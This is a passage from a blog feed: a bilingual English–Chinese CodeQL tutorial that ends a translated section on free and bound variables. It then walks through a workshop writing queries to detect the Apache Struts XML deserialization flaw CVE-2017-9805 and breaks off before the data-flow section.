cases, the values of the expressions depend on what values are assigned to the variables <code>i</code> and <code>x</code> respectively. In other words, the value of the variable has an impact on the value of the expression. These are examples of <strong>free variables</strong>.</p><blockquote><p>那么表达式(i + 7) * 3和x.sqrt()呢？在这两种情况下，表达式的值取决于分别分配给变量i和x的值。换句话说，变量的值对表达式的值有影响。这些都是自由变量的例子。</p></blockquote><p>Similarly, if a formula contains free variables, then the formula can hold or not hold depending on the values assigned to those variables <a href="https://codeql.github.com/docs/ql-language-reference/variables/#id3" target="_blank" rel="noopener">[1]</a>. For example:</p><blockquote><p>同样，如果一个公式中包含自由变量，那么这个公式可以成立或不成立，取决于分配给这些变量的值[1]。例如：</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">"hello".indexOf("l") = 1</span><br><span class="line"></span><br><span class="line">min(float f | f in [-3 .. 3]) = -3</span><br><span class="line"></span><br><span class="line">(i + 7) * 3 instanceof int</span><br><span class="line"></span><br><span class="line">exists(float y | x.sqrt() = y)</span><br></pre></td></tr></tbody></table></figure><p>The first formula doesn’t contain any variables, and it never holds (since <code>"hello".indexOf("l")</code> has values <code>2</code> and <code>3</code>, never <code>1</code>).</p><blockquote><p>存在(float y | x.sqrt() = y)<br>第一个公式不包含任何变量，而且它永远不会成立（因为 “hello”.indexOf(“l”)的值是2和3，而不是1）。</p></blockquote><p>The second formula only contains a bound variable, so is unaffected by changes to that variable. Since <code>min(float f | f in [-3 .. 3])</code> is equal to <code>-3</code>, this formula always holds.</p><blockquote><p>第二个公式只包含一个约束变量，所以不受该变量变化的影响。由于min(float f | f in [-3 … 3])等于-3，所以这个公式总是成立。</p></blockquote><p>The third formula contains a free variable <code>i</code>. Whether or not the formula holds, depends on what values are assigned to <code>i</code>. For example, if <code>i</code> is assigned <code>1</code> or <code>2</code> (or any other <code>int</code>) then the formula holds. On the other hand, if <code>i</code> is assigned <code>3.5</code>, then it doesn’t hold.</p><blockquote><p>第三个公式包含一个自由变量i。公式是否成立，取决于分配给i的值。例如，如果i被分配给1或2（或任何其他int），那么公式成立。另一方面，如果给i赋值为3.5，那么公式就不成立。</p></blockquote><p>The last formula contains a free variable <code>x</code> and a bound variable <code>y</code>. If <code>x</code> is assigned a non-negative number, then the final formula holds. On the other hand, if <code>x</code> is assigned <code>-9</code> for example, then the formula doesn’t hold. The variable <code>y</code> doesn’t affect whether the formula holds or not.</p><blockquote><p>最后一个公式包含一个自由变量x和一个约束变量y，如果x被赋值为非负数，那么最后的公式成立。另一方面，比如x被赋值为-9，那么这个公式就不成立。变量y并不影响公式是否成立。</p></blockquote><p>For more information about how assignments to free variables are computed, see “<a href="https://codeql.github.com/docs/ql-language-reference/evaluation-of-ql-programs/#evaluation-of-ql-programs" target="_blank" rel="noopener">evaluation of QL programs</a>.”</p><blockquote><p>关于如何计算对自由变量的赋值的更多信息，请参阅 “QL程序的评估”。</p></blockquote><p>Footnotes</p><blockquote><p>脚注</p></blockquote><table><thead><tr><th><a href="https://codeql.github.com/docs/ql-language-reference/variables/#id2" target="_blank" rel="noopener">[1]</a></th><th>This is a slight simplification. There are some formulas that are always true or always false, regardless of the assignments to their free variables. However, you won’t usually use these when you’re writing QL. For example, and <code>a = a</code> is always true (known as a <a href="https://en.wikipedia.org/wiki/Tautology_(logic)" target="_blank" rel="noopener">tautology</a>), and <code>x and not x</code> is always false.</th></tr></thead><tbody><tr><td>[1]</td><td>这是一种轻微的简化。有一些公式总是真或假，不管它们的自由变量的赋值如何。然而，你在编写QL时通常不会使用这些公式。例如，and a = a总是真（称为同义词），x而不是x总是假。</td></tr></tbody></table>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Variables¶变量&quot;&gt;&lt;a href=&quot;#Variables¶变量&quot; class=&quot;headerlink&quot; title=&quot;Variables¶变量&quot;&gt;&lt;/a&gt;Variables&lt;a href=&quot;https://codeql.github.com/docs/q
      
    
    </summary>
    
    
      <category term="codeql" scheme="https://summersec.github.io/categories/codeql/"/>
    
    
  </entry>
  
  <entry>
    <title>CodeQL workshop for Java Unsafe deserialization in Apache Struts</title>
    <link href="https://summersec.github.io/2021/03/28/CodeQL%20workshop%20for%20Java%20Unsafe%20deserialization%20in%20Apache%20Struts/"/>
    <id>https://summersec.github.io/2021/03/28/CodeQL%20workshop%20for%20Java%20Unsafe%20deserialization%20in%20Apache%20Struts/</id>
    <published>2021-03-28T05:59:37.940Z</published>
    <updated>2021-03-30T13:44:22.503Z</updated>
    
    <content type="html"><![CDATA[<h1 id="CodeQL-workshop-for-Java-Unsafe-deserialization-in-Apache-Struts"><a href="#CodeQL-workshop-for-Java-Unsafe-deserialization-in-Apache-Struts" class="headerlink" title="CodeQL workshop for Java: Unsafe deserialization in Apache Struts"></a>CodeQL workshop for Java: Unsafe deserialization in Apache Struts</h1><ul><li>Analyzed language: Java</li><li>Difficulty level: 200</li></ul><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><ul><li><a href="#problemstatement">Problem statement</a> 问题描述</li><li><a href="#setupinstructions">Setup instructions</a> 安装说明</li><li><a href="#documentationlinks">Documentation links</a> 文件链接</li><li><a href="#workshop">Workshop</a><ul><li><a href="#section1">Section 1: Finding XML deserialization</a></li><li><a href="#section2">Section 2: Find the implementations of the <code>toObject</code> method from ContentTypeHandler</a></li><li><a href="#section3">Section 3: Unsafe XML deserialization</a></li></ul></li></ul><h2 id="Problem-statement"><a href="#Problem-statement" class="headerlink" title="Problem statement "></a>Problem statement <a id="problemstatement"></a></h2><p><em>Serialization</em> is the process of converting in memory objects to text or binary output formats, usually for the purpose of sharing or saving program state. This serialized data can then be loaded back into memory at a future point through the process of <em>deserialization</em>.</p><blockquote><p>序列化_是将内存中的对象转换为文本或二进制输出格式的过程，通常是为了共享或保存程序状态。这种序列化的数据可以在未来的某一时刻通过_解序列化_过程加载回内存。</p></blockquote><p>In languages such as Java, Python and Ruby, deserialization provides the ability to restore not only primitive data, but also complex types such as library and user defined classes. This provides great power and flexibility, but introduces a signficant attack vector if the deserialization happens on untrusted user data without restriction.</p><blockquote><p>在Java、Python和Ruby等语言中，反序列化不仅提供了还原原始数据的能力，还提供了还原库和用户定义类等复杂类型的能力。这提供了强大的功能和灵活性，但如果反序列化发生在无限制的不受信任的用户数据上，则引入了一个重要的攻击向量。</p></blockquote><p><a href="https://struts.apache.org/" target="_blank" rel="noopener">Apache Struts</a> is a popular open-source MVC framework for creating web applications in Java. In 2017, a researcher from the predecessor of the <a href="https://securitylab.github.com/" target="_blank" rel="noopener">GitHub Security Lab</a> found <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805" target="_blank" rel="noopener">CVE-2017-9805</a>, an XML deserialization vulnerability in Apache Struts that would allow remote code execution.</p><blockquote><p><a href="https://struts.apache.org/" target="_blank" rel="noopener">Apache Struts</a>是一个流行的开源MVC框架，用于用Java创建Web应用。2017年，<a href="https://securitylab.github.com/" target="_blank" rel="noopener">GitHub安全实验室</a>前身的研究人员发现<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805" target="_blank" rel="noopener">CVE-2017-9805</a>，Apache Struts中存在一个XML反序列化漏洞，将允许远程代码执行。</p></blockquote><p>The problem occurred because included as part of the Apache Struts framework is the ability to accept requests in multiple different formats, or <em>content types</em>. It provides a pluggable system for supporting these content types through the <a href="https://struts.apache.org/maven/struts2-plugins/struts2-rest-plugin/apidocs/org/apache/struts2/rest/handler/ContentTypeHandler.html" target="_blank" rel="noopener"><code>ContentTypeHandler</code></a> interface, which provides the following interface method:</p><blockquote><p>问题发生的原因是，作为Apache Struts框架的一部分，包含了接受多种不同格式或_内容类型_的请求的能力。它通过<a href="https://struts.apache.org/maven/struts2-plugins/struts2-rest-plugin/apidocs/org/apache/struts2/rest/handler/ContentTypeHandler.html" target="_blank" rel="noopener"><code>ContentTypeHandler</code></a>接口提供了一个可插拔的系统来支持这些内容类型，它提供了以下接口方法:</p></blockquote><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Populates an object using data from the input stream</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> in The input stream, usually the body of the request</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> target The target, usually the action class</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@throws</span> IOException If unable to write to the output stream</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">toObject</span><span class="params">(Reader in, Object target)</span> <span class="keyword">throws</span> IOException</span>;</span><br></pre></td></tr></tbody></table></figure><p>New content type handlers are defined by implementing the interface and defining a <code>toObject</code> method which takes data in the specified content type (in the form of a <code>Reader</code>) and uses it to populate the Java object <code>target</code>, often via a deserialization routine. However, the <code>in</code> parameter is typically populated from the body of a request without sanitization or safety checks. This means it should be treated as “untrusted” user data, and only deserialized under certain safe conditions.</p><blockquote><p>新的内容类型处理程序是通过实现接口和定义 “toObject “方法来定义的，该方法接受指定内容类型的数据（以 “Reader “的形式），并使用它来填充Java对象 “target”，通常是通过反序列化例程。然而，”in “参数通常是从请求的主体中填充的，没有经过净化或安全检查。这意味着它应该被视为 “不受信任 “的用户数据，只有在某些安全条件下才会被反序列化。</p></blockquote><p>In this workshop, we will write a query to find CVE-2017-9805 in a database built from the known vulnerable version of Apache Struts.</p><blockquote><p>在本工作坊中，我们将编写一个查询，在一个由已知的Apache Struts脆弱版本构建的数据库中找到CVE-2017-9805。</p></blockquote><h2 id="Setup-instructions-for-Visual-Studio-Code"><a href="#Setup-instructions-for-Visual-Studio-Code" class="headerlink" title="Setup instructions for Visual Studio Code "></a>Setup instructions for Visual Studio Code <a id="setupinstructions"></a></h2><p>To take part in the workshop you will need to follow these steps to get the CodeQL development environment setup:</p><blockquote><p>要参加研讨会，你需要按照以下步骤来设置CodeQL开发环境。</p></blockquote><ol><li>Install the Visual Studio Code IDE.  安装Visual Studio Code IDE。</li><li>Download and install the <a href="https://help.semmle.com/codeql/codeql-for-vscode.html" target="_blank" rel="noopener">CodeQL extension for Visual Studio Code</a>. Full setup instructions are <a href="https://help.semmle.com/codeql/codeql-for-vscode/procedures/setting-up.html" target="_blank" rel="noopener">here</a>. 下载并安装<a href="https://help.semmle.com/codeql/codeql-for-vscode.html" target="_blank" rel="noopener">Visual Studio Code的CodeQL扩展</a>。完整的安装说明在<a href="https://help.semmle.com/codeql/codeql-for-vscode/procedures/setting-up.html" target="_blank" rel="noopener">这里</a></li><li><a href="https://help.semmle.com/codeql/codeql-for-vscode/procedures/setting-up.html#using-the-starter-workspace" target="_blank" rel="noopener">Set up the starter workspace</a>.<ul><li><strong><strong>Important</strong></strong>: Don’t forget to <code>git clone --recursive</code> or <code>git submodule update --init --remote</code>, so that you obtain the standard query libraries.</li></ul></li><li>Open the starter workspace: File &gt; Open Workspace &gt; Browse to <code>vscode-codeql-starter/vscode-codeql-starter.code-workspace</code>.</li><li>Download and unzip the <a href="https://github.com/githubsatelliteworkshops/codeql/releases/download/v1.0/apache_struts_cve_2017_9805.zip" target="_blank" rel="noopener">apache_struts_cve_2017_9805.zip database</a>.</li><li>Choose this database in CodeQL (using <code>Ctrl + Shift + P</code> to open the command palette, then selecting “CodeQL: Choose Database”).</li><li>Create a new file in the <code>codeql-custom-queries-java</code> directory called <code>UnsafeDeserialization.ql</code>.</li></ol><h2 id="Documentation-links"><a href="#Documentation-links" class="headerlink" title="Documentation links "></a>Documentation links <a id="documentationlinks"></a></h2><p>If you get stuck, try searching our documentation and blog posts for help and ideas. Below are a few links to help you get started:</p><blockquote><p>如果你被卡住了，请尝试搜索我们的文档和博客文章以获得帮助和想法。以下是一些帮助你入门的链接:</p></blockquote><ul><li><a href="https://help.semmle.com/QL/learn-ql" target="_blank" rel="noopener">Learning CodeQL</a></li><li><a href="https://help.semmle.com/QL/learn-ql/cpp/ql-for-java.html" target="_blank" rel="noopener">Learning CodeQL for Java</a></li><li><a href="https://help.semmle.com/codeql/codeql-for-vscode.html" target="_blank" rel="noopener">Using the CodeQL extension for VS Code</a></li></ul><h2 id="Workshop"><a href="#Workshop" class="headerlink" title="Workshop "></a>Workshop <a id="workshop"></a></h2><p>The workshop is split into several steps. You can write one query per step, or work with a single query that you refine at each step. Each step has a <strong>hint</strong> that describes useful classes and predicates in the CodeQL standard libraries for Java. You can explore these in your IDE using the autocomplete suggestions (<code>Ctrl + Space</code>) and the jump-to-definition command (<code>F12</code>).</p><blockquote><p>该研讨会分为几个步骤。你可以在每个步骤中编写一个查询，或者在每个步骤中完善一个查询。每个步骤都有一个<strong>提示</strong>，描述了Java的CodeQL标准库中有用的类和谓词。你可以在IDE中使用自动完成建议(<code>Ctrl + Space</code>)和跳转到定义命令(<code>F12</code>)来探索这些。</p></blockquote><h3 id="Section-1-Finding-XML-deserialization"><a href="#Section-1-Finding-XML-deserialization" class="headerlink" title="Section 1: Finding XML deserialization "></a>Section 1: Finding XML deserialization <a id="section1"></a></h3><p><a href="https://x-stream.github.io/index.html" target="_blank" rel="noopener">XStream</a> is a Java framework for serializing Java objects to XML used by Apache Struts. It provides a method <code>XStream.fromXML</code> for deserializing XML to a Java object. By default, the input is not validated in any way, and is vulnerable to remote code execution exploits. In this section, we will identify calls to <code>fromXML</code> in the codebase.</p><blockquote><p><a href="https://x-stream.github.io/index.html" target="_blank" rel="noopener">XStream</a>是一个Java框架，用于将Java对象序列化为Apache Struts使用的XML。它提供了一个方法<code>XStream.fromXML</code>，用于将XML反序列化为一个Java对象。默认情况下，输入的内容不会以任何方式进行验证，并且容易受到远程代码执行的攻击。在本节中，我们将识别代码库中对<code>fromXML</code>的调用。</p></blockquote><ol><li><p>Find all method calls in the program. </p><blockquote><ol><li>查找程序中的所有方法调用。</li></ol></blockquote><details><summary>Hint</summary><ul><li>A method call is represented by the <code>MethodAccess</code> type in the CodeQL Java library.</li></ul><blockquote><p>在CodeQL Java库中，方法调用由<code>MethodAccess</code>类型表示。</p></blockquote></details><details><summary>Solution</summary><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from MethodAccess call</span><br><span class="line">select call</span><br></pre></td></tr></tbody></table></figure></details></li></ol><pre><code>![image-20210329212430433](https://gitee.com/samny/images/raw/master/51u24er51ec/51u24er51ec.png)![image-20210329212439289](https://gitee.com/samny/images/raw/master/29u40er29ec/29u40er29ec.png)&lt;/details&gt;</code></pre><ol><li><p>Update your query to report the method being called by each method call.</p><blockquote><p>更新你的查询，报告每个方法调用的方法。</p></blockquote><details><summary>Hints</summary><ul><li>Add a CodeQL variable called <code>method</code> with type <code>Method</code>.<blockquote><p>  添加一个名为 “method “的CodeQL变量，类型为 “Method”。</p></blockquote></li><li><code>MethodAccess</code> has a predicate called <code>getMethod()</code> for returning the method.<blockquote><p><code>MethodAccess</code>有一个叫做<code>getMethod()</code>的谓词用于返回方法。</p></blockquote></li><li>Add a <code>where</code> clause.<blockquote><p> 添加一个<code>where</code>子句。</p></blockquote></li></ul></details><details><summary>Solution</summary><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line">from MethodAccess call, Method method</span><br><span class="line">where call.getMethod() = method</span><br><span class="line">select call, method</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/27u26er27ec/27u26er27ec.png" alt="image-20210329212627120"><br><img src="https://gitee.com/samny/images/raw/master/44u26er44ec/44u26er44ec.png" alt="image-20210329212644844"></p></details></li></ol><pre><code>​    </code></pre><ol><li><p>Find all calls in the program to methods called <code>fromXML</code>.<a id="question1"></a></p><blockquote><p> 找出程式中所有调用<code>fromXML</code>的方法。</p></blockquote><details><summary>Hint</summary><ul><li><p><code>Method.getName()</code> returns a string representing the name of the method.</p><blockquote><p><code>Method.getName()</code>返回一个代表方法名称的字符串。</p></blockquote></li></ul></details><details><summary>Solution</summary><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from MethodAccess fromXML, Method method</span><br><span class="line">where</span><br><span class="line">    fromXML.getMethod() = method and</span><br><span class="line">    method.getName() = "fromXML"</span><br><span class="line">select fromXML</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/21u28er21ec/21u28er21ec.png" alt="image-20210329212821422"></p><p><img src="https://gitee.com/samny/images/raw/master/33u28er33ec/33u28er33ec.png" alt="image-20210329212833431"></p><p>However, as we now want to report only the call itself, we can inline the temporary <code>method</code> variable like so:</p><blockquote><p> 然而，由于我们现在只想报告调用本身，我们可以像这样内联临时<code>method</code>变量。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from MethodAccess fromXML</span><br><span class="line">where fromXML.getMethod().getName() = "fromXML"</span><br><span class="line">select fromXML</span><br></pre></td></tr></tbody></table></figure></details></li><li><p>The <code>XStream.fromXML</code> method deserializes the first argument (i.e. the argument at index <code>0</code>). Update your query to report the deserialized argument.</p><blockquote><p><code>XStream.fromXML</code>方法反序列化第一个参数（即索引<code>0</code>的参数）。更新你的查询以报告反序列化的参数。</p></blockquote><details><summary>Hint</summary><ul><li><p><code>MethodCall.getArgument(int i)</code> returns the argument at the i-th index.</p><blockquote><p><code>MethodCall.getArgument(int i)</code>返回第i个索引的参数。</p></blockquote></li><li><p>The arguments are <em>expressions</em> in the program, represented by the CodeQL class <code>Expr</code>. Introduce a new variable to hold the argument expression.</p><blockquote><p>参数是程序中的_表达式，由CodeQL类<code>Expr</code>表示。引入一个新的变量来存放参数表达式。</p></blockquote></li></ul></details><details><summary>Solution</summary><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from MethodAccess fromXML, Expr arg</span><br><span class="line">where</span><br><span class="line">  fromXML.getMethod().getName() = "fromXML" and</span><br><span class="line">  arg = fromXML.getArgument(0)</span><br><span class="line">select fromXML, arg</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/37u34er37ec/37u34er37ec.png" alt="image-20210329213437656"></p><p><img src="https://gitee.com/samny/images/raw/master/7u35er7ec/7u35er7ec.png" alt="image-20210329213507450"></p><p><img src="https://gitee.com/samny/images/raw/master/22u35er22ec/22u35er22ec.png" alt="image-20210329213522528"></p></details></li></ol><pre><code>&lt;/details&gt;</code></pre><ol><li><p>Recall that <em>predicates</em> allow you to encapsulate logical conditions in a reusable format. Convert your previous query to a predicate which identifies the set of expressions in the program which are deserialized directly by <code>fromXML</code>. You can use the following template:</p><blockquote><p>回顾一下，_predicate_允许你以可重复使用的格式封装逻辑条件。将你之前的查询转换为一个谓词，该谓词标识了程序中直接由<code>fromXML</code>反序列化的表达式集。你可以使用下面的模板:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">    predicate isXMLDeserialized(Expr arg) {</span><br><span class="line">      exists(MethodAccess fromXML |</span><br><span class="line">        // TODO fill me in</span><br><span class="line">      )</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p><a href="https://help.semmle.com/QL/ql-handbook/formulas.html#exists" target="_blank" rel="noopener"><code>exists</code></a> is a mechanism for introducing temporary variables with a restricted scope. You can think of them as their own <code>from</code>-<code>where</code>-<code>select</code>. In this case, we use it to introduce the <code>fromXML</code> temporary variable, with type <code>MethodAccess</code>.</p><blockquote><p><a href="https://help.semmle.com/QL/ql-handbook/formulas.html#exists" target="_blank" rel="noopener"><code>exists</code></a>是一种引入范围有限的临时变量的机制。你可以把它们看作是自己的<code>from</code>-<code>where</code>-<code>select</code>。在本例中，我们使用它来引入类型为 “MethodAccess “的 “fromXML “临时变量。</p></blockquote><details><summary>Hint</summary><ul><li>Copy the <code>where</code> clause of the previous query<blockquote><p> 复制上一个查询的 “where “子</p></blockquote></li></ul></details><details><summary>Solution</summary><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">predicate isXMLDeserialized(Expr arg) {</span><br><span class="line">    exists(MethodAccess fromXML |</span><br><span class="line">        fromXML.getMethod().getName() = "fromXML" and</span><br><span class="line">        arg = fromXML.getArgument(0)</span><br><span class="line">    )</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from Expr ar</span><br><span class="line">where isXMLDeserialized(arg)</span><br><span class="line">select arg</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/14u39er14ec/14u39er14ec.png" alt="image-20210329213914825"></p><p><img src="https://gitee.com/samny/images/raw/master/24u39er24ec/24u39er24ec.png" alt="image-20210329213924749"></p><p><img src="https://gitee.com/samny/images/raw/master/33u39er33ec/33u39er33ec.png" alt="image-20210329213933795"></p></details></li></ol><pre><code>&lt;/details&gt;</code></pre><h3 id="Section-2-Find-the-implementations-of-the-toObject-method-from-ContentTypeHandler"><a href="#Section-2-Find-the-implementations-of-the-toObject-method-from-ContentTypeHandler" class="headerlink" title="Section 2: Find the implementations of the toObject method from ContentTypeHandler "></a>Section 2: Find the implementations of the toObject method from ContentTypeHandler <a id="section2"></a></h3><p>Like predicates, <em>classes</em> in CodeQL can be used to encapsulate reusable portions of logic. Classes represent single sets of values, and they can also include operations (known as <em>member predicates</em>) specific to that set of values. You have already seen numerous instances of CodeQL classes (<code>MethodAccess</code>, <code>Method</code> etc.) and associated member predicates (<code>MethodAccess.getMethod()</code>, <code>Method.getName()</code>, etc.).</p><blockquote><p>像谓词一样，CodeQL中的<em>类</em>可以用来封装逻辑的可重用部分。类代表单一的值集，它们也可以包含特定于该值集的操作（称为_成员谓词_）。你已经看到了许多CodeQL类的实例（<code>MethodAccess</code>、<code>Method</code>等）和相关的成员谓词（<code>MethodAccess.getMethod()</code>、<code>Method.getName()</code>等）。</p></blockquote><ol><li><p>Create a CodeQL class called <code>ContentTypeHandler</code> to find the interface <code>org.apache.struts2.rest.handler.ContentTypeHandler</code>. You can use this template:</p><blockquote><p>创建一个名为<code>ContentTypeHandler</code>的CodeQL类，找到接口<code>org.apache.struts2.rest.handler.ContentTypeHandler</code>。可以使用这个模板。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">class ContentTypeHandler extends RefType {</span><br><span class="line">  ContentTypeHandler() {</span><br><span class="line">      // TODO Fill me in</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><details><summary>Hint</summary><ul><li><p>Use <code>RefType.hasQualifiedName(string packageName, string className)</code> to identify classes with the given package name and class name. For example:</p><blockquote><p>使用<code>RefType.hasQualifiedName(string packageName, string className)</code>来识别具有给定包名和类名的类:</p></blockquote></li></ul><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">from RefType r</span><br><span class="line">where r.hasQualifiedName("java.lang", "String")</span><br><span class="line">select r</span><br></pre></td></tr></tbody></table></figure><ul><li><p>Within the characteristic predicate you can use the magic variable <code>this</code> to refer to the RefType</p><blockquote><p>在特性谓词中，你可以使用神奇的变量<code>this</code>来引用RefType。</p></blockquote></li></ul></details><details><summary>Solution</summary><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">/** The interface `org.apache.struts2.rest.handler.ContentTypeHandler`. */</span><br><span class="line">class ContentTypeHandler extends RefType {</span><br><span class="line">  ContentTypeHandler() {</span><br><span class="line">    this.hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler")</span><br><span class="line">  }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure></details></li><li><p>Create a CodeQL class called <code>ContentTypeHandlerToObject</code> for identfying <code>Method</code>s called <code>toObject</code> on classes whose direct super-types include <code>ContentTypeHandler</code>.</p><blockquote><p>创建一个名为 “ContentTypeHandlerToObject “的CodeQL类，用于识别直接超类型包括 “ContentTypeHandler “的类上调用 “toObject “的 “Method”。</p></blockquote><details><summary>Hint</summary><ul><li><p>Use <code>Method.getName()</code> to identify the name of the method.</p><blockquote><p> 使用<code>Method.getName()</code>来识别方法的名称。</p></blockquote></li><li><p>To identify whether the method is declared on a class whose direct super-type includes <code>ContentTypeHandler</code>, you will need to:</p><blockquote><p>要识别该方法是否在直接超级类型包括<code>ContentTypeHandler</code>的类上声明，你需要:</p></blockquote><ul><li><p>Identify the declaring type of the method using <code>Method.getDeclaringType()</code>.</p><blockquote><p>使用<code>Method.getDeclaringType()</code>识别方法的声明类型。</p></blockquote></li><li><p>Identify the super-types of that type using <code>RefType.getASuperType()</code></p><blockquote><p>使用<code>RefType.getASuperType()</code>识别该类型的超级类型。</p></blockquote></li><li><p>Use <code>instanceof</code> to assert that one of the super-types is a <code>ContentTypeHandler</code></p><blockquote><p>使用 “instanceof “断言其中一个超级类型是 “ContentTypeHandler”。</p></blockquote></li></ul></li></ul></details><details><summary>Solution</summary><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">/** A `toObject` method on a subtype of `org.apache.struts2.rest.handler.ContentTypeHandler`. */</span><br><span class="line">class ContentTypeHandlerToObject extends Method {</span><br><span class="line">  ContentTypeHandlerToObject() {</span><br><span class="line">    this.getDeclaringType().getASupertype() instanceof ContentTypeHandler and</span><br><span class="line">    this.hasName("toObject")</span><br><span class="line">  }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure></details></li><li><p><code>toObject</code> methods should consider the first parameter as untrusted user input. Write a query to find the first (i.e. index 0) parameter for <code>toObject</code> methods.</p><blockquote><p><code>toObject</code>方法应将第一个参数视为不受信任的用户输入。写一个查询来查找<code>toObject</code>方法的第一个（即索引0）参数。</p></blockquote><details><summary>Hint</summary><ul><li><p>Use <code>Method.getParameter(int index)</code> to get the i-th index parameter.</p><blockquote><p>使用<code>Method.getParameter(int index)</code>来获取第i个索引参数。</p></blockquote></li><li><p>Create a query with a single CodeQL variable of type <code>ContentTypeHandlerToObject</code>.</p><blockquote><p>用类型为<code>ContentTypeHandlerToObject</code>的单个CodeQL变量创建一个查询。</p></blockquote></li></ul></details><details><summary>Solution</summary><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">from ContentTypeHandlerToObject toObjectMethod</span><br><span class="line">select toObjectMethod.getParameter(0)</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/58u03er58ec/58u03er58ec.png" alt="image-20210330140358683"></p><p><img src="https://gitee.com/samny/images/raw/master/35u04er35ec/35u04er35ec.png" alt="image-20210330140435655"></p><p><img src="https://gitee.com/samny/images/raw/master/47u04er47ec/47u04er47ec.png" alt="image-20210330140447854"></p></details></li></ol><pre><code>&lt;/details&gt;</code></pre><h3 id="Section-3-Unsafe-XML-deserialization"><a href="#Section-3-Unsafe-XML-deserialization" class="headerlink" title="Section 3: Unsafe XML deserialization "></a>Section 3: Unsafe XML deserialization <a id="section3"></a></h3><p>We have now identified (a) places in the program which receive untrusted data and (b) places in the program which potentially perform unsafe XML deserialization. We now want to tie these two together to ask: does the untrusted data ever <em>flow</em> to the potentially unsafe XML deserialization call?</p><blockquote><p>我们现在已经确定了(a)程序中接收不受信任数据的地方和(b)程序中可能执行不安全的XML反序列化的地方。我们现在想把这两个地方联系起来问：未受信任的数据是否曾经_流向潜在的不安全的XML反序列化调用？</p></blockquote><p>In program analysis we call this a <em>data flow</em> problem. Data flow helps us answer questions like: does this expression ever hold a value that originates from a particular other place in the 